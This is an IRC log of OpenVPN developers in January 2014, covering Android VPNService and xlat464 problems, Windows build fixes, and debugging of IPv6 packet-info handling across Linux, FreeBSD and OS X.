in-reply-to: *that* message ID... anything else I'll have to make files from "wherever the patch is" and adjust 14:51 <@cron2> can be done, I need to do this for patches in trac already, so I just need to figure out how to get the patch, then :-) 14:52 <@d12fk> you can add my repo as a remote and pull the branch from it 14:53 <@d12fk> but i can send mails also 14:54 <@cron2> well, I think we need to enhance our workflow a bit, so we could start there... 14:54 <@cron2> (but right now I'm mainly interested in getting some ACKs on the route.c cleanup so I can merge that and close #340 :) ) 14:55 <@cron2> ((and I need to get some sleep... last night was a bit rough)) 15:01 -!- dazo is now known as dazo_afk 22:45 -!- mattock_afk is now known as mattock --- Day changed Wed Jan 15 2014 02:14 -!- mattock is now known as mattock_afk 02:14 <@plaisthos> xlat464 seems to break VPNAPI too.... 02:14 <@plaisthos> *very very badly* 02:14 <@cron2> meh 02:18 <@plaisthos> I thought getaddrinfo on xlat464 would give the app ipv6 mapped addresses 02:19 <@plaisthos> but the user reports that openvpn over wifi does not work either.. 02:19 <@plaisthos> So it may not be xlat464 related 02:20 <@plaisthos> and there is no way I set up an Xlat464 testbed just to try that 02:22 <@cron2> the xlat464 bit is more for apps that don't do IPv6 at all, and insist on talking IPv4 02:22 <@cron2> so a local component translates that to IPv6, and the NAT64 gateway on the ISP side translates back to IPv4 02:23 <@cron2> so for OpenVPN, the "transport" part should be fine (as we do getaddrinfo() and AF_INET6), but it might interfere with the payload side, as the xlat464 would "eat" all IPv4 traffic 02:30 <@plaisthos> calling protect() on a inet4 xlat'ed socket will also do crazy things according to an Android bug report 02:30 <@plaisthos> and bind on the xlat tunnel interface 02:31 <@cron2> ugh 02:31 <@plaisthos> 1. Create an AF_INET socket 02:31 <@plaisthos> 2. Protect socket from VPN 02:31 <@plaisthos> 3. Start packet capture on public (IPv6 only) interface, connect with socket 02:31 <@plaisthos> 4. Observe that IPv4 packets are being sent on the IPv6 only interface. 02:32 <@plaisthos> did remember it wrong 02:32 <@plaisthos> it is even worse :) 02:34 <@cron2> shall I introduce you to the folks behind xlat464 (Lorenzo Colitti, Cameron Byrne)? 02:38 <@cron2> they might not be aware of the consequences, but they *do* listen 03:03 <@plaisthos> No idea if it would help 03:04 <@plaisthos> if getaddrinfo with AF_UNSPEC return mapped ipv6 adresses for ipv4 then all is fine for me 03:04 <@plaisthos> the interactions between xlat and vpnservice are outside of what I can fix 03:05 <@plaisthos> although I probably one of the few people who have looked close enough to really understand what is going in the VPNService API 03:05 <@cron2> yeah, but Lorenzo is the one who can fix it, or get people to fix it, I think 03:08 <@plaisthos> https://plus.google.com/+QasimJaved/posts/abyhCf1Vnu8 is the "ticket" that got me wondering 03:13 <@cron2> let's see what happens 03:14 <@plaisthos> You probably need some kind of test mobile network to test xlat464 yourself 03:15 <@cron2> cameron has, he's the guy behind IPv6 in T-Mobile USA 03:58 <@d12fk> cron2: re #237, so the problem is that the list is unsorted when a link is used interesting 03:59 <@d12fk> mattock_afk: why don't i get get notified by mail when i get assigned a ticket? i get no mail from trac whatsoever... 04:17 -!- dazo_afk is now known as dazo 05:09 <@cron2> d12fk: I'm not sure how relevant the link thing is... is it sorting right otherwise? 05:10 <@d12fk> yes, for "normal" directories the enum function seems to give them in the right order 05:10 <@d12fk> if you'd ahave configs in different subdirs the sorting would be messed up also 05:11 <@d12fk> a/z.ovpn would be before b/x.ovpn 05:19 <@cron2> well, if "a/" and "b/" are part of the list, that would be good enough for me :-) - if you remove the directories, z before x would look weird 05:22 <@d12fk> they are not 06:45 -!- mattock_afk is now known as mattock 07:48 <@d12fk> any idea why the ipv4 code on windows does flush the arp cache? 08:04 <@d12fk> syzzer: could you review some dutch translation fixes for the gui? 08:05 <@d12fk> have a merge request on sf.net 08:09 <@d12fk> http://sourceforge.net/p/openvpn-gui/code/merge-requests/2/ 08:09 <@vpnHelper> Title: Repository: code.git (at sourceforge.net) 08:09 <@d12fk> or any other dutch speaker in here 10:28 -!- mattock is now known as mattock_afk 12:25 -!- dazo is now known as dazo_afk 12:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 12:28 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 12:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:07 < syzzer> d12fk: I agree with the suggested changes in the translation. It seems I never used OpenVPN in Dutch, I never realised those horrible spelling mistakes were in there... 15:08 < syzzer> How does this work, do I need to ACK on sf? 15:23 <@plaisthos> Dutch people don't seem need to translation for my Android app either 15:23 <@plaisthos> (or too lazy to help with the translation) 16:53 -!- mattock_afk is now known as mattock 17:10 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:10 -!- mode/#openvpn-devel [+v krzie] by ChanServ 17:17 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:17 -!- krzie is now known as krzee 17:17 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 17:17 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:18 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:32 -!- mattock is now known as mattock_afk 19:20 <@ecrist> gah, fuck me 19:21 * ecrist accidentally posted a low-security password to IRC 19:21 <@ecrist> :\ --- Day changed Thu Jan 16 2014 01:10 -!- mattock_afk is now known as mattock 02:53 < syzzer> plaisthos: probably no need for the translation, almost everybody understand English just fine (and the translations are usually horrible, which makes them harder to understand than the original English :p ) 03:23 <@plaisthos> yeah 03:23 <@plaisthos> I remember my sister complaining about Belgian people actually using Dutch layout 03:45 <@d12fk> syzzer: nah no need to ack, i'll just pull it in, thanks for looking at it 09:19 -!- mattock is now known as mattock_afk 11:19 -!- novaflash is now known as novaflash_away 11:42 -!- novaflash_away is now known as novaflash 11:47 -!- mattock_afk is now known as mattock 12:26 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Ping timeout: 252 seconds] 12:28 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 14:03 -!- mattock is now known as mattock_afk 14:36 <@cron2> plaisthos: does it "not work anymore" by not *connecting*, or after connecting, failing to transport packets? 14:38 <@vpnHelper> RSS Update - gitrepo: Replace copied structure elements with including <https://github.com/OpenVPN/openvpn/commit/615fb9ef36310f85fd6171301128a12740444455> || Rename 'struct route' to 'struct route_ipv4' <https://github.com/OpenVPN/openvpn/commit/b57e005b8f232760081875937a53e8e7d235faa6> 14:46 <@plaisthos> cron2: are you talking about the xlat stuff? 14:46 <@cron2> yep 14:46 <@cron2> just saw your mail 14:46 <@plaisthos> it does not even connect 14:47 <@plaisthos> I suspect that fast.t-mobile.com is not even the xlat apn and the whole bug report is wrong 14:47 <@plaisthos> But I am not sure 14:47 <@cron2> mmmh. I seriously can't see any reason why that would happen 14:47 <@cron2> the NAT64 on the T-Mobile DNS would show the IPv4 server as IPv6, but I know that your code will handle that 14:48 <@cron2> (tested at the last RIPE meeting in an IPv6-only Wifi with NAT64) 14:48 <@plaisthos> ah nice 14:48 <@cron2> the xlat464 code only fires if an application insists on connecting to an AF_INET target 14:48 <@plaisthos> ah okay 14:48 <@cron2> but even then, it should connect 14:48 <@plaisthos> cron2: no it won't 14:49 <@cron2> why? 14:49 <@plaisthos> because the socket would be bound to the external interface 14:49 <@plaisthos> by calling protect() 14:49 <@cron2> when do you protect() the socket? before connect()ing it, or after the connection has been established and negotiated, right before setting up the tun? 14:51 <@plaisthos> before conect 14:51 <@cron2> ok, then I can see how it would interfere 15:18 <@plaisthos> does anyone know what mime types key, p12, pem etc. have? 15:23 <@cron2> fatal: Non è stato possibile analizzare l'oggetto 15:23 <@cron2> +'615fb9ef36310f85fd6171301128a12740444455'. 15:23 <@cron2> error: impossibile aprire .git/FETCH_HEAD: File system in sola lettura 15:23 <@cron2> "what"? 15:23 <@cron2> seems mattock's buildslaves have moved from finnish to italian... 15:24 <@plaisthos> found it: https://pki-tutorial.readthedocs.org/en/latest/mime.html 15:24 <@vpnHelper> Title: Appendix A: MIME Types OpenSSL PKI Tutorial (at pki-tutorial.readthedocs.org) 16:08 <@plaisthos> hm 16:08 <@plaisthos> android filepicker does seems to think that p12 files have application/x-pkcs12 mime type 16:25 <@plaisthos> what mime type does a tls auth/static key file of openvpn have? 16:31 < syzzer> plaisthos: /etc/openvpn/ta.key: text/plain 16:31 <@plaisthos> syzzer: what tool did you ask? 16:31 < syzzer> file --mime-type 16:31 <@plaisthos> syzzer: thanks 16:31 <@plaisthos> hm .key could also be some pkcs12 type 16:32 <@plaisthos> better include that as allowed type 16:32 < syzzer> .key pkcs12? that doesn't sound right... 16:32 <@plaisthos> not pkcs12 16:32 <@plaisthos> private key 16:34 < syzzer> my .p12 here is "application/octet-stream" btw 16:35 <@plaisthos> yeah 16:35 <@plaisthos> But not always 16:36 <@plaisthos> If you use the android 4.4 internal file picker which also allows to import files from google driver or whatever service is integrated there you have to specify a list of acceptable mime types 16:36 < syzzer> I'm calling it a day. Rebased Jan Just's openssl-ecdh patches on master tonight, lots of hand work cause their quite old... 16:36 < syzzer> aha, so you're collecting mime types now :p 16:36 <@plaisthos> yeah :D 16:37 <@plaisthos> ovpn files are tex/plain and application/octet-stream 16:38 <@plaisthos> depeneding on where they are stored 16:38 <@plaisthos> or what the webserver thought you downloaded them from 16:42 <@plaisthos> strange combo 16:42 <@plaisthos> --static --tls-client --pull 16:42 <@plaisthos> err 16:42 <@plaisthos> ignore that 16:42 <@plaisthos> that won't work :) 16:44 < syzzer> I hope not ;) 16:44 < syzzer> bye :) 23:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 23:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:05 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Fri Jan 17 2014 05:09 <@d12fk> plaisthos: windows has no sa_family_t 05:10 <@d12fk> just found out the hard way by rebasing the interactive service to master 05:14 <@d12fk> I'll send a patch 05:38 -!- mattock_afk is now known as mattock 06:24 <@plaisthos> d12fk: Did I break it? 06:33 <@plaisthos> mattock: are there plans for buildbot on windows? 06:33 <@d12fk> don't know really, i just bluntly blamed you because it was in socket.c 06:33 <@mattock> plaisthos: no, the build process is entirely different 06:33 <@d12fk> fix is comeing 06:34 <@d12fk> mattock: could you check why i don't get mail from trac 06:34 <@mattock> however, I have a separate kludge that tries to build the latest code from Git using openvpn-build 06:34 <@mattock> d12fk: do you have your email address configured in Trac preferences? 06:34 <@d12fk> yes 06:34 <@mattock> are you the cc of the tickets? 06:34 <@d12fk> ähm trac... maybe not, just in that ldap thing 06:34 <@mattock> yeah, it's separate 06:34 * d12fk looking 06:35 <@plaisthos> d12fk: then it is probably me 06:38 <@d12fk> mattock: address was missing in trac, will recv mail from now on hopefully. thanks for the pointer 06:38 <@mattock> np 06:38 <@d12fk> i wonder if i should close down the issue tracker on sf.net in favor of the community trac 06:42 <@mattock> given that openvpn-gui is pretty integral part of the OpenVPN distribution you could definitely do that 06:43 <@plaisthos> I am still waiting for the first bug report of my app on the community trac 06:53 <@d12fk> someone seen this: http://fossies.org/dox/openvpn-2.3.2/ 06:53 <@vpnHelper> Title: openvpn: Main Page - doxygen documentation | Fossies Dox (at fossies.org) 06:53 <@d12fk> "inofficial" and yet experimental doxygen-generated source code documentation 06:53 <@d12fk> is that andj's dox or did they spin it off 06:59 <@plaisthos> the stuff andj did is proably the only part of openvpn src which has doxygen style comments 07:06 <@d12fk> plaisthos: need help with this part of the dual stack patch 07:06 <@d12fk> @@ -35,7 +44,7 @@ 07:06 <@d12fk> struct signal_info 07:06 <@d12fk> { 07:06 <@d12fk> volatile int signal_received; 07:06 <@d12fk> - volatile bool hard; 07:06 <@d12fk> + volatile int source; 07:06 <@d12fk> const char *signal_text; 07:06 <@d12fk> }; 07:06 <@cron2> why? 07:06 <@d12fk> the win32 code still uses hard in some places 07:06 <@d12fk> how to handle the semantic change 07:06 <@d12fk> bool -> int 07:07 <@d12fk> win32.c:520 07:08 <@cron2> looking for the commit that did the change 07:09 <@plaisthos> that is in the big dual stack commit 07:09 <@cron2> yeah, but the specific one that changes this, it also has details how the users change 07:09 <@plaisthos> the signal stuff is a big mess and I needed for something more than soft/hard 07:09 <@d12fk> seems the hard boolean is not used anywhere else 07:09 <@plaisthos> d12fk: where is it used still as hard? 07:10 <@d12fk> so what to set instead of hard = TRUE 07:10 <@d12fk> just this one plave 07:10 <@d12fk> place 07:10 <@cron2> 23d61c56 07:10 <@cron2> sig->source = SIG_SOURCE_HARD 07:10 <@cron2> the main change is that a second "soft" type was added, SIG_SOURCE_CONNECTION_FAILED 07:11 <@cron2> - siginfo_static.hard = true; 07:11 <@cron2> + siginfo_static.source = SIG_SOURCE_HARD; 07:11 <@d12fk> ah ok 07:11 <@d12fk> one other thing 07:18 <@d12fk> back, did i miss something 07:18 <@plaisthos> no 07:23 <@plaisthos> does it build now? 07:24 <@d12fk> yep 07:35 <@d12fk> plaisthos: so is the above patch ok? i think it may be necessary to iterate over bind_local until the addrlen matches sock->reads.addrlen 07:36 <@d12fk> or is bind_local never an address stack? 07:37 <@plaisthos> bind_local is only used for the bind() call 07:37 <@plaisthos> d12fk: which above patch? 07:37 <@plaisthos> did I miss something 07:37 <@d12fk> ah so you didnt get it: 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> --- a/src/openvpn/socket.c 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> +++ b/src/openvpn/socket.c 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> @@ -2959,7 +2959,7 @@ socket_recv_queue (struct link_socket *sock, int maxsize) 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> if (!status) /* operation completed immediately? */ 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> { 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> - int addrlen = af_addr_size(sock->info.lsa->local.addr.sa.sa_family); 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> + int addrlen = af_addr_size(sock->info.lsa->bind_local->ai_family); 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> if (sock->reads.addr_defined && sock->reads.addrlen != addrlen) 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> bad_address_length (sock->reads.addrlen, addrlen); 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> sock->reads.iostate = IOSTATE_IMMEDIATE_RETURN; 07:38 <@d12fk> [Fri. 17.01.2014 14:12] <d12fk> is this doing the right thing or should i interate over ai_next 07:38 <@d12fk> [Fri. 17.01.2014 14:13] <d12fk> also a regression i found (and fixed?) 07:39 <@plaisthos> nah that is wrong 07:39 <@d12fk> cron2: also decided to split the interactive serive thing into more digestable patches 07:40 <@cron2> d12fk: makes my life easier, spending only a finite amount of time on each part 07:40 <@d12fk> plaisthos: loop over ai_next? 07:41 <@plaisthos> d12fk: let me have a look 07:44 <@plaisthos> that code fragment is very strange 07:45 <@plaisthos> the problem with bind_local is that it contains all /possible/ addresses to bind to 07:46 <@plaisthos> and usually the first one matching the requested AF_INET/AF_INET6 is picked when bind() is performed 07:46 <@plaisthos> lsa->actual.ai_family would be better ... 07:47 <@plaisthos> but for UNIX I think no other code needs to know what the AF type of the socket is 07:47 <@plaisthos> and these lines do a strange check 07:49 <@plaisthos> if (sock->info.af == AF_INET) looks very wrong too 07:49 <@plaisthos> info.af can be AF_UNSPEC too 07:49 <@plaisthos> I guess I have take a deeper look into the windows code 08:06 <@plaisthos> the whole "check the addrlen of received stuff" seems dubious 08:06 <@plaisthos> I will into it on the weekend 08:25 <@plaisthos> (I think I have scared d12fk away) 08:25 <@d12fk> nope, just got distrcted by dayjob 08:26 <@d12fk> ok, so i just leave it as is and move on with splitting the service code 08:28 <@plaisthos> :) 08:28 <@plaisthos> I don't if you have taken a look at the android code 08:28 <@plaisthos> but they should be similarities 08:29 <@plaisthos> because both do similar things - as in running openvpn as unpriviledged process 08:41 <@d12fk> plaisthos: looking closer at the code i wonder why the addrlen comparsion is there in the first place 08:42 <@plaisthos> d12fk: my thought exactly 08:45 <@d12fk> i leave it up to you to decide what's right here 08:48 <@plaisthos> I think I fixed all the compare function to probably handle different addrlen 08:48 <@plaisthos> I will look into it and submit a cleanup patch 08:52 <@d12fk> ok i just prepare the other two things i found for sending 08:52 <@d12fk> feel free to ack 10:05 <@plaisthos> d12fk: yeah. I will do when your patch reaches the mailing list 11:26 <@cron2> + [AC_DEFINE([HAVE_SA_FAMILY_T], [1], [struct in_pktinfo needed for 11:27 <@cron2> now what, SA_FAMILITY_T or struct in_pktinfo? 12:29 <@cron2> you both need new glasses :) 13:08 <@vpnHelper> RSS Update - gitrepo: convert struct signal_info element <https://github.com/OpenVPN/openvpn/commit/9853b14f0934f6e37600b186831fae3d5bad213f> || make sure sa_family_t is defined <https://github.com/OpenVPN/openvpn/commit/87b468d42811f0ca6f046b3a0335811370193514> 14:33 -!- mattock is now known as mattock_afk 16:11 < syzzer> dazo_afk (or anyone who knows): What's the reason to use AC_CHECK_HEADERS instead of AC_CHECK_HEADER? They seem to do the same. 16:46 <@pekster> mattock_afk: ping, any issue if I use the existing howto page as the basis for an improved wiki-fied version? Just figured I'd make sure there's no policy/licensing problem here (I'd rather not waste time re-doing it if I can use the good parts there) 18:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 18:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sat Jan 18 2014 01:10 -!- mattock_afk is now known as mattock 01:12 <@mattock> pekster: I'll ask James about that, he wrote the HOWTO originlly 01:12 <@mattock> originally 03:43 -!- mattock is now known as mattock_afk 03:45 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 04:12 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 05:14 -!- mattock_afk is now known as mattock 05:52 <@plaisthos> Yikes! 05:52 <@plaisthos> galaxy note (SM-N9005) seems to break VPNService on 4.4 even more than AOSP 4.4 05:52 <@cron2> jftr, the openvpn reference test server will now do lz4/snappy/lzo depending on the client capability. Mainly relevant for the buildbots :-) 05:52 <@cron2> ouch 05:53 <@plaisthos> it just ignores the VPN routes 05:53 <@plaisthos> I hope the reporter is wrong ... :( 06:31 <@plaisthos> SIgh, I thought about xlat464 and nat64 and I have a bigger problem 06:32 <@plaisthos> If I cache dns answer from WiFi and the mobile phone does a handover to Mobile I have the wrong IP addresses 06:36 <@vpnHelper> RSS Update - tickets: #361: easily weight lose <https://community.openvpn.net/openvpn/ticket/361> 06:40 <@cron2> haha (closing message in #361 :) ) 06:41 <@cron2> but re caching: true :-( 06:43 <@cron2> plaisthos: I'll send lorenzo a test profile for my "gentoo" test server 07:04 <@plaisthos> cron2: ah cool. I was about to generate the same stuff 07:04 <@plaisthos> cron2: make sure the hostname in there resolves only to v4 07:07 <@cron2> plaisthos: there's gentoo.ov.greenie.net and gentoo4.ov.greenie.net, plus instructions in the mail 07:08 <@plaisthos> cron2: ah okay 07:08 <@cron2> so. kids just woke up, free time for fiddling with computers over :) 07:27 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 07:36 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 07:54 <@vpnHelper> RSS Update - tickets: #362: Gain Strong Muscles <https://community.openvpn.net/openvpn/ticket/362> 08:12 <@mattock> thank you, Olga F. Smith, but no thanks 08:35 -!- mattock is now known as mattock_afk 09:12 <@vpnHelper> RSS Update - tickets: #363: Weight Loss With Supplement <https://community.openvpn.net/openvpn/ticket/363> 09:56 -!- mattock_afk is now known as mattock 11:06 -!- mattock is now known as mattock_afk 13:20 <@pekster> NB: I got a new 'Active GPL issues' trac query written that hides the non-free products 15:19 -!- Netsplit *.net <-> *.split quits: MeanderingCode 15:20 -!- Netsplit over, joins: MeanderingCode 15:43 <@cron2> why on earth is "link_socket_write_udp_posix()" testing if("proto_is_udp()...")??? 15:48 <@cron2> ... and why is it testing whether "to" is a non-unspecified IPv4 or IPv6 address? If that not true, we should ASSERT() out right away... 17:05 <@plaisthos> oh yeah 17:06 <@plaisthos> I wanted to look into that stuff, I won't able to do this weekend unfortenatley --- Day changed Sun Jan 19 2014 01:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 01:27 -!- Guest17603 [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:27 -!- mode/#openvpn-devel [+o Guest17603] by ChanServ 03:08 <@cron2> plaisthos: I decided I want to write a small test program around _posix_recvmsg() and _posix_sendmsg() to test this on all the platforms, without having to do the full OpenVPN dance (set up server config, etc.) 03:09 <@cron2> should be able to get something done today *iff* the kids sleep for 2h :) 03:29 -!- mattock_afk is now known as mattock 05:33 <@cron2> w-t-f is IP_RECVDSTADDR... that is used in heaps of #ifdef, but I can't find anything that would actually define it 05:40 <@cron2> ah 05:40 <@cron2> /usr/include/netinet/in.h:#define IP_RECVDSTADDR 7 /* bool; receive IP dst addr w/dgram */ 05:51 <@plaisthos> sound like IP_PKTINFO for ipv6 05:53 <@cron2> yep. My main confusion was that IP_PKTINFO is defined by configure, while IP_RECVDSTADDR is just tested by syshead.h after including <netinet/in.h> 05:59 <@cron2> argh, double-argh, actually configure defines HAVE_IN_PKTINFO, while <netinet/in.h> #define's IP_PKTINFO just fine 06:24 <@cron2> linux hates me today 06:24 <@cron2> <netinet/in.h> has 06:24 <@cron2> #ifdef __USE_GNU 06:24 <@cron2> struct in6_pktinfo 06:24 <@cron2> ... 06:24 <@cron2> and for whatever reason, __USE_GNU is not defined, and I can't -D it either 06:25 <@cron2> so my test program isn't pulling in that structure, while openvpn compiles just fine 06:54 <@cron2> a-ha 06:54 <@vpnHelper> RSS Update - tickets: #364: UDP over IPv6 packet fragementation calculation error. <https://community.openvpn.net/openvpn/ticket/364> 06:54 <@cron2> __USE_GNU is defined by <features.h>, but only if _GNU_SOURCE is defined, otherwise it is actually *undef*ed 06:58 <@plaisthos> why are this *really* broken things more often than not GNU? 07:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 07:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 07:12 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:14 <@cron2> oh 07:14 <@cron2> linux 07:16 <@cron2> my tool is not yet done, but what I can already see is that for an IPv4 connection into an IPv6 dual-stack socket, I seem to get *no* address information 07:18 <@plaisthos> yeah 07:18 <@plaisthos> or wrong ones 07:18 <@plaisthos> (like seens on the mailing list) 07:19 <@cron2> the "wrong ones" are likely a followup bug in OpenVPN, the code doesn't handle the case "no variant seen", so I assume that garbage is left in the structure 07:19 <@plaisthos> oh 07:19 <@cron2> link_socket_read_udp_posix_recvmsg() 07:19 <@plaisthos> quite possible 07:21 <@cron2> anyway. More to come when the test tool is printing more meaningful stuff 07:25 <@plaisthos> (and then you discover that windows for once does things right) 07:26 <@cron2> yeah, that would be an interesting find :-) - but I'm focusing only on *BSD, Mac and Linux for now 07:35 <@cron2> from=[AF_INET6]::ffff:193.149.48.167:56994 (via ::ffff:ffff:ffff:ffff:8049:77b7%[undef]) 07:35 <@cron2> yep 07:35 * cron2 runs around a bit screaming bloody murder 07:37 <@plaisthos> 128.73.119.183 seems to have nothing in comming with 193.149.48.167 07:38 <@cron2> no, that's just random garbage sitting on the stack 07:38 <@cron2> if the function has seen other packets before, like "a real IPv6 packet", the next IPv4 packet will look like this: 07:38 <@cron2> from=[AF_INET6]::ffff:193.149.48.167:2085 (via 2001:608:4:0:222:68ff:fe7f:7420%eth0) 07:38 <@cron2> that's the true IPv6 address of the box 07:39 <@plaisthos> (which is not helpful either) 07:39 <@cron2> besides that, IP6_PKTINFO works... trying link-local (that box has only a single address otherwise) 07:39 <@cron2> from=[AF_INET6]fe80::a00:20ff:fea7:fe7c%eth0:52824 (via fe80::222:68ff:fe7f:7420%eth0) 07:40 <@cron2> the non-helpfulness is actually calling for an ASSERT(0) in there 07:40 <@cron2> or maybe a slightly more informative message 07:41 <@cron2> if I CLEAR(from) first, I get this... 07:41 <@cron2> from=[AF_INET6]::ffff:193.149.48.167:1637 (via ::%[undef]) 07:42 <@plaisthos> but it sounds like v4 mapping does not work for UDP sockets 07:42 <@cron2> ... which is to be expected, as (my) link_socket_read_udp_posix_recvmsg() tells me 07:42 <@cron2> CMSG_FIRSTHDR()=NULL, no packet info available 07:42 <@plaisthos> and we need to have multiple sockets :/ 07:43 <@cron2> well, all I know yet is that on *Linux* it won't give packet info, but I consider this a bug 07:43 <@plaisthos> btw. one submitter of the t-mobile bug said that switching the APN back to v4 solved his problems 07:43 <@cron2> chickened out :) let's see if Lorenzo has time to look into it 07:43 <@cron2> anyway, let me test one of the BSDs 07:45 <@cron2> from=[AF_INET6]2001:608:4::3:52613 (via 2001:608:0:814::f000:5%[undef]) 07:46 <@cron2> from=[AF_INET6]::ffff:193.149.48.167:59559 (via ::ffff:194.97.140.5%[undef]) 07:46 <@plaisthos> that actually looks good 07:46 <@cron2> this is on FreeBSD 9.2, and it is *so* correct 07:46 <@cron2> well, it has no "find the interface" code, as far as I can see, but otherwise, exactly right 07:47 <@plaisthos> yeah but scope id is not defined for ipv4 anyway 07:49 <@cron2> it's not printing it for IPv6 either, but I'm not going to debug that now 08:09 <@cron2> ok, on FreeBSD, both AF_INET and AF_INET6 work right on reception, but *there* we have a bug on sending (but my code doesn't even try that yet). Tonight. 09:28 -!- mattock is now known as mattock_afk 09:37 <@plaisthos> cron2: if you send me the program I can test os x 09:47 <@cron2> yeah, right after we left home to drive to grandma I noticed that I used the sentence "I have attached..." which usually means "I have not" :) 09:53 <@cron2> now 10:01 <@plaisthos> mhome.c:159:31: error: use of undeclared identifier 'SOL_IP' if (setsockopt (sd, SOL_IP, IP_PKTINFO, 10:01 <@plaisthos> :( 10:04 <@cron2> most likely you need some extra include. I have just included what showed up as necessary, not "all that socket.c pulls in" 10:05 <@plaisthos> yeah 10:05 <@plaisthos> I trying to figure out what to include to have IPV6_PKTINFO 10:05 <@cron2> SOL_IP is missing, maybe "man setsockopt" will tell 10:07 <@plaisthos> socat should be to generate udp packets btw 10:08 <@plaisthos> or nc 10:08 <@cron2> good point. I normally use hping2 for all that, but didn't notice it doesn't do IPv6, what crap 10:08 <@plaisthos> at least the nc on OS X can do udp 10:08 <@plaisthos> but there are so many netcats out there ... 10:10 <@plaisthos> os x seems to work like FreeBSD 10:10 <@plaisthos> but with ifscope filled in 10:10 <@plaisthos> from=[AF_INET6]2002:5d82:6af9::8c75:cfcf:b014:5063:58516 (via 2002:5d82:6af9::8c75:cfcf:b014:5063%en1) 10:11 <@cron2> nice 10:11 <@cron2> also for ipv4-mapped? 10:12 <@plaisthos> CMSG_FIRSTHDR()=NULL, no packet info available 10:12 <@plaisthos> read: fromlen=28, r_len=4 from=[AF_INET6]::ffff:192.168.188.20:50376 (via ::%[undef]) 10:12 <@cron2> oh? interesting 10:12 <@plaisthos> but ... 10:12 <@plaisthos> CMSG_FIRSTHDR()=NULL, no packet info available 10:12 <@plaisthos> read: fromlen=28, r_len=4 from=[AF_INET6]::ffff:127.0.0.1:61135 (via ::%[undef]) 10:12 <@cron2> where's the "but"? 10:13 <@plaisthos> oh 10:13 <@plaisthos> sorry, I did not look close enough 10:13 <@cron2> :) 10:14 <@plaisthos> so OS X did not steal enough FreeBSD netcode to make it right 10:14 <@cron2> or freebsd implemented that after OSX was forked off, I didn't test on 7.x or 8.x yet 10:15 <@plaisthos> possible 10:15 <@plaisthos> I am download the windows sdk right now 10:15 <@plaisthos> that should me the ability to create windows binaries 10:15 <@plaisthos> +give 10:15 <@plaisthos> hm 10:15 <@plaisthos> your program does not copy the windows stuff 10:16 <@cron2> no, starting with the easy things 10:16 <@cron2> for windows it might be easier to just set up an openvpn server and check the log :) 10:16 <@cron2> (just for initial verification whether it works at all or not) 10:21 <@cron2> urgh 10:22 * cron2 can't make outgoing packets work 10:30 <@cron2> aaaaaaaargh 10:30 <@cron2> from=[AF_INET6]2001:608:0:814::f000:11:41994 (via 2001:608:0:814::f000:5%em0 [1]) 10:30 <@cron2> there is padding and structure alignment involved 10:35 <@cron2> Memory fault (core dumped) 10:35 <@cron2> oops 10:38 <@cron2> yay, the patch in #327 is broken. It *looks* good but will then actually core dump as cmsg is NULL... 10:40 <@cron2> ok, I now have code that works for reception and sending on FreeBSD9.2/amd64. I have the nagging suspicion that it will fail in interesting ways on other systems... 10:44 <@cron2> yay, and with the padding added 10:44 <@cron2> it breaks linux 12:50 <@cron2> re :-) - one *should* occasionally charge his laptop, otherwise suddenly the world is dark... 13:18 <@plaisthos> :) 13:28 <@cron2> ouch, this is going to be a larger operation... FreeBSD/amd64 wants 8-byte alignment, while FreeBSD/i386 is good with 4-byte 13:28 <@cron2> (as is linux/i386) 13:29 <@plaisthos> why the hell do you have to care about alignment? 13:29 <@plaisthos> don't the headers deal with that for you? 13:29 <@cron2> because our code is too smart for it's own good 13:30 <@cron2> we have things like openvpn_in6_pktinfo which is a struct cmsghdr+struct in6_pktinfo 13:30 <@cron2> on 32bit, these go back to back, on 64bit, it seems the second structure needs 4 byte padding in between 13:30 <@cron2> but there is a #pragma pack(1) that ensures back to back 13:31 <@plaisthos> oh I see 13:31 <@plaisthos> padding/aligment 